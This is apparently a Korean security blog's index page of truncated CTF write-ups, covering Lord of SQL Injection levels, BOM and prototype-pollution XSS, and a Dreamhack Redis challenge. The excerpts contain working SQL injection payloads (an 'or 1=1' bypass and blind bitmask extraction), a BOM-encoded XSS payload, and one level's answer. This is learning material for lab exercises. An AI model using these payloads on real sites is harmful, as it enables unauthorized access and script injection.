전체 글
-
LOS - orc / level 4문제 풀이/Lord Of SQL 2024. 6. 21. 15:32
풀이 과정Blind SQL Injection으로 수행length로 길이 체크 후 비트 마스킹 pw=' or id='admin' and length(pw) > 1 %23pw=' or id='admin' and length(pw) > 8 %23 => admin 의 pw의 최대 길이는 8 pw=' or id='admin' and ascii(substr(pw,1,1)) & 1 %23~pw=' or id='admin' and ascii(substr(pw,1,1)) & 128 %23 각 자리 수 도출 정답더보기?pw=095a9852
-
LOS - goblin / level 3문제 풀이/Lord Of SQL 2024. 6. 21. 15:14
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); ..
-
LOS - cobolt / level 2문제 풀이/Lord Of SQL 2024. 6. 21. 14:55
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "He..
-
LOS - gremlin / level 1문제 풀이/Lord Of SQL 2024. 6. 21. 14:47
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; $_GET['id']와 $_GET['[pw']를 받는 것을 확인 id = 'or 1=1 #을 넣으면 우회 가능 정답더보기id=%27%20or%201=1%20%23
-
BOM XSSAttack Technique 2024. 6. 21. 14:42
Byte Order Mark바이트 순서 표시(Byte Order Mark, BOM)는 유니코드 문자 U+FEFF로, 매직넘버로서 문서의 가장 앞에 추가하여 텍스트를 읽는 프로그램에 여러 정보를 전달할 수 있다.16비트 혹은 32비트 인코딩의 경우, 문서의 바이트 순서 또는 엔디언문서의 인코딩이 거의 확실히 유니코드임문서에 사용한 유니코드 문자 인코딩 방식인코딩에 따른 바이트 순서 표식문제화이트햇스쿨 2기 프로젝트 과제로 부여받음풀이 과정url 파라미터로 x를 받아 echo[ -~]{2} 를 필터링. 즉, 아스키코드표에서 출력 가능한 범위 중 2개가 연속으로 오면 필터링 됨 input : x=ab%FE%FF%00%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t..
-
Prototype Pollution XSSAttack Technique 2024. 6. 21. 14:21
JavaScriptPrototype을 기반으로 한 언어Prototype Pollution말 그대로 프로토타입을 오염시켜 XSS를 발생Sourcefunction Ultra(this.test = "testing"){}Ultra.prototype.hello = "world"function Super(){}Super.prototype = new Ultra()function Sub(){}Sub.prototype = new Super()var o = new Sub()해당 코드는 다음과 같은 구조를 가진다문제 제작Prototype_pollution.jsconst express = require('express')const app = express()const port = 1234const cors = require(..
-
Dreamhack - phpMyRedis / Level 2문제 풀이/Dreamhack 2024. 6. 21. 13:34
find / -type f -name 'flag*’Descriptionphp로 redis를 관리하는 서비스입니다.취약점을 찾고 flag를 휙득하세요!sourcehttps://dreamhack.io/wargame/challenges/420풀이 과정index..php에 Redis 내부에 데이터를 넣을 수 있는 부분을 확인if(isset($_POST['cmd'])){ $redis = new Redis(); $redis->connect($REDIS_HOST); $ret = json_encode($redis->eval($_POST['cmd'])); e..